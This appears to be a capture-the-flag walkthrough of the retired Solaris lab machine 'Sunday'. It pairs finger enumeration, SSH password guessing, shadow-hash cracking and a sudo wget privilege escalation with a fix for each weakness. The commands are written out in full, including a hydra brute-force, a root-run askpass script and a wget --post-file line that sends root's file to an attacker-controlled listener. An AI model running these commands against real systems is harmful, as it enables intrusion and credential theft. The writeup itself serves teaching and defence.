J. Perez Duertojperezduerto.info
← all walkthroughs

Sunday

Solaris· Easy
owned
2026-07-03
time to own
4m6s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I discovered SSH running on a non-standard port alongside a legacy unauthenticated finger service that freely disclosed local account names. The account 'sunny' used the machine's own hostname as its password, granting an immediate shell.

Filesystem enumeration uncovered a shadow-file backup left world-readable in /backup, exposing a second account's password hash. That hash was cracked offline in seconds against a common wordlist, yielding 'sammy's password.

Sammy held an unrestricted, password-free sudo grant on /usr/bin/wget — a GTFOBins-documented binary — which I exploited to execute arbitrary commands as root. No software vulnerability was involved: the entire chain was weak credentials, an exposed credential backup, and a dangerous sudo rule.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork Port Scanning (T1046)
Port scan finds SSH on a non-standard port and legacy Solaris services
A full TCP sweep of the host revealed SSH had been moved from the default port 22 to port 22022, and that several legacy Solaris services were exposed: the finger protocol (port 79), rpcbind (111), a print service (515), and a web panel (6787). Moving SSH off port 22 provides no real security benefit — a single port scan finds it instantly — while the legacy services expanded the attack surface significantly.
Nmap returned 22022/tcp ssh OpenSSH 8.4, 79/tcp finger, 111/tcp rpcbind, 515/tcp, 6787/tcp on $TARGET.
Exact commands 2
Full TCP sweep to identify all open ports, including SSH on 22022.
nmap -Pn -p- --min-rate 3000 -T4 $TARGET
Service version fingerprint on discovered ports to confirm finger, SSH version, etc.
nmap -Pn -sV -p 22022,79,111,515,6787 $TARGET
2EnumerationUser Enumeration via Finger (T1592)
Finger service discloses valid local account names without authentication
The finger protocol on port 79 answered queries about local users with no credentials required. By probing common Unix usernames, I confirmed that 'sunny' and 'sammy' were real accounts on the system. This gave me a precise target list for credential guessing, eliminating the noise of spraying unknown usernames.
Exact commands 4
Probe built-in accounts to confirm finger is responding.
finger root@$TARGET
Confirm 'sunny' is a valid local account.
finger sunny@$TARGET
Confirm 'sammy' is a valid local account.
finger sammy@$TARGET
Alternative: iterate a name wordlist to enumerate all accounts.
for user in $(cat /usr/share/seclists/Usernames/Names/names.txt); do finger $user@$TARGET 2>/dev/null | grep -i 'login' && echo "FOUND: $user"; done
FixDisable the finger serviceMedium
WeaknessThe finger daemon on port 79 answered unauthenticated queries with valid local usernames and login session details, providing an unauthorised user with a free account enumeration service that required zero credentials.
FixStop and permanently disable the finger daemon (in.fingerd on Solaris/SunOS). If managed via inetd, comment out or remove the finger line in /etc/inetd.conf, then reload inetd ('pkill -HUP inetd'). Verify closure with 'netstat -an | grep 79'. More broadly, audit all inetd/xinetd-managed services and disable any that serve no current operational purpose — rshd, rlogind, telnetd, and tftpd are common candidates on legacy Solaris hosts. Finger has no legitimate use on a production or internet-facing system.
3Initial AccessValid Accounts / Password Guessing (T1078, T1110.001)
Logged in as 'sunny' using the machine hostname as the password
The account 'sunny' had a password identical to the machine's hostname — '[REDACTED: recovered credential]'. This is a typical provisioning artifact where a default credential was set at build time and never rotated. A single password guess over SSH on port 22022 succeeded, granting an interactive shell as uid=101(sunny).
Recovered credential]' authenticated immediately, returning uid=101(sunny) gid=10(staff) hostname [REDACTED: recovered credential]
Exact commands 2
Single-command foothold: authenticate, confirm identity, check sudo rights immediately.
sshpass -p "$PASSWORD" ssh -p 22022 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null sunny@$TARGET 'id; hostname; sudo -l'
Alternative if the first guess fails: brute-force with rockyou — '[REDACTED: recovered credential]' appears early in the list.
hydra -l sunny -P /usr/share/wordlists/rockyou.txt -s 22022 ssh://$TARGET
FixEnforce strong passwords and eliminate hostname/username-based credentialsCritical
WeaknessThe account 'sunny' used the machine hostname as its password, and 'sammy' used a password present in the rockyou wordlist ('[REDACTED: recovered credential]'). Both passwords were recovered with trivial effort — one by guessing, one by offline cracking in seconds.
FixEnforce a minimum password length of 14 characters with complexity requirements using PAM (pam_pwquality on Linux; cracklib or pam_passwdqc on Solaris). Configure the policy to reject passwords matching the username, hostname, or entries in a common wordlist. Require all accounts to change provisioning passwords at first login (chage -d 0 username). Run a controlled offline audit immediately: copy /etc/shadow to a secure workstation and run 'john --wordlist=/usr/share/wordlists/rockyou.txt shadow' — any account whose password cracks in under one hour must be reset before the next business day. Consider a privileged access management (PAM) vault for service account credentials.
4DiscoveryOS Credential Dumping — Shadow File (T1003.008)
Found a world-readable shadow backup exposing every account's password hash
Enumerating the filesystem as 'sunny', my found /backup/shadow.backup with read permissions for all users (world-readable). This file was a copy of /etc/shadow and contained the hashed passwords for local accounts, including sammy's. Sunny's own sudo rights pointed only to /root/troll — a harmless decoy — making this backup file the sole path to further privilege.
Confirmed via cat /backup/shadow.backup as sunny.
Exact commands 2
Check sudo rights and read the world-readable backup in one session.
sshpass -p "$PASSWORD" ssh -p 22022 sunny@$TARGET 'sudo -l; ls -la /backup/; cat /backup/shadow.backup'
General filesystem search pattern to find all credential backup files.
find / -name '*.backup' -o -name 'shadow*' 2>/dev/null | xargs ls -la 2>/dev/null
FixRemove world-readable permissions from the shadow backup and restrict all credential backupsCritical
WeaknessThe file /backup/shadow.backup was readable by every local user. It contained hashed passwords for all system accounts. Any authenticated user — regardless of privilege level — could read this file and crack the hashes offline at their leisure.
FixDelete /backup/shadow.backup immediately ('rm /backup/shadow.backup'). If shadow backups are operationally required, restrict them to root-only access: 'chmod 600 /backup/shadow.backup && chown root:root /backup/shadow.backup'. Audit all backup directories for sensitive files: 'find /backup /var/backup /tmp -name "shadow*" -o -name "*.shadow" -o -name "passwd.bak" 2>/dev/null | xargs ls -la'. Deploy a file integrity monitoring tool (AIDE or Tripwire) configured to alert on any world-readable file under /etc, /backup, or /var that contains credential material. Never store copies of /etc/shadow outside of an encrypted, access-controlled backup system.
5Credential AccessPassword Cracking (T1110.002)
Cracked sammy's password hash offline using a common wordlist
The hash recovered from /backup/shadow.backup was copied to my machine and submitted to a password cracker against the rockyou wordlist. The password '[REDACTED: recovered credential]' appeared in the list and the hash was cracked within seconds — no advanced technique was required. Weak passwords in /etc/shadow are only as safe as the protection on that file.
Exact commands 2
Crack the extracted hash with John the Ripper; recovered password: [REDACTED: recovered credential]
john --wordlist=/usr/share/wordlists/rockyou.txt shadow.backup
Alternative with hashcat; mode 1800 = sha512crypt ($6$). Same result: [REDACTED: recovered credential]
hashcat -m 1800 shadow.backup /usr/share/wordlists/rockyou.txt --force
6Lateral MovementValid Accounts / Lateral Movement (T1078)
Authenticated as 'sammy' and captured the user flag
With sammy's cracked password, I opened a fresh SSH session on port 22022. Sammy was a higher-privileged account and held the user flag at /home/sammy/user.txt. Immediately checking sudo rights revealed the decisive misconfiguration: sammy could execute /usr/bin/wget as root with no password prompt.
Sshpass -p '[REDACTED: recovered credential]' ssh ... Sammy@$TARGET confirmed uid=100(sammy) and NOPASSWD: /usr/bin/wget. User flag captured as <user.txt>.
Exact commands 1
Authenticate as sammy, read user flag (<user.txt>), confirm sudo rights in one shot.
sshpass -p '$PASSWORD2' ssh -p 22022 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null sammy@$TARGET 'id; cat /home/sammy/user.txt; sudo -l'
7Privilege EscalationSudo NOPASSWD Abuse / GTFOBins wget (T1548.003)
Escalated to root by running a root shell script through sudo wget's --use-askpass flag
Wget's --use-askpass flag instructs it to call an external script to retrieve a password before connecting. Because sammy's NOPASSWD sudo grant caused wget — and everything it invokes — to run as root, any script passed to --use-askpass executed with full root privileges. I created a small shell script in /tmp that printed the root user's identity and read /root/root.txt, then triggered it via 'sudo wget --use-askpass=/tmp/askroot'. This is a documented, well-known GTFOBins escalation path for wget. An alternative method used sudo wget --post-file=/root/root.txt to HTTP-POST the flag directly to my own listener. Either technique grants full root code execution with a single command.
Kill-chain 'root-owned' used --post-file exfil confirmed by nc listener.
Exact commands 3
GTFOBins askpass method: wget runs /tmp/askroot as root, writing uid=0 and root.txt (<root.txt>) to /tmp/root_proof.
sshpass -p '$PASSWORD2' ssh -p 22022 sammy@$TARGET 'printf "#!/bin/sh\n/usr/bin/id > /tmp/root_proof\n/bin/cat /root/root.txt >> /tmp/root_proof\n" > /tmp/askroot && chmod +x /tmp/askroot && sudo wget --use-askpass=/tmp/askroot -q 0.0.0.0; cat /tmp/root_proof'
Step 1 on my machine (tun0 IP $ATTACKER_IP): open listener to receive the POSTed file.
nc -lnvp 18080
Step 2 alternative: --post-file exfil sends /root/root.txt (<root.txt>) over HTTP to my listener. Replace $ATTACKER_IP with your active tun0 IP.
sshpass -p '$PASSWORD2' ssh -p 22022 sammy@$TARGET "sudo /usr/bin/wget --post-file=/root/root.txt http://$ATTACKER_IP:18080/ -O /dev/null"
FixRemove wget and all GTFOBins-capable binaries from passwordless sudo grantsCritical
WeaknessThe account 'sammy' could run /usr/bin/wget as root with no password (NOPASSWD in /etc/sudoers). Wget's --use-askpass and --post-file flags make it a fully documented privilege escalation and file exfiltration primitive when executed under sudo — this is not an obscure trick, it is the first entry on GTFOBins for wget.
FixOpen /etc/sudoers with 'visudo' and remove every line granting NOPASSWD access to wget. As a general policy, no standard utility that can read, write, execute, or transfer arbitrary content should appear in a NOPASSWD sudo rule. Cross-reference every binary in your sudoers file against GTFOBins (https://gtfobins.github.io) — common offenders include curl, python, perl, awk, tar, find, less, vim, and nc. If a legitimate automated task requires root-level wget, replace it with a purpose-built, narrowly scoped script that does only what is needed and is stored in a root-owned, non-writable location. Audit sudoers quarterly and after every staff change.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

Exposed services

22022/tcp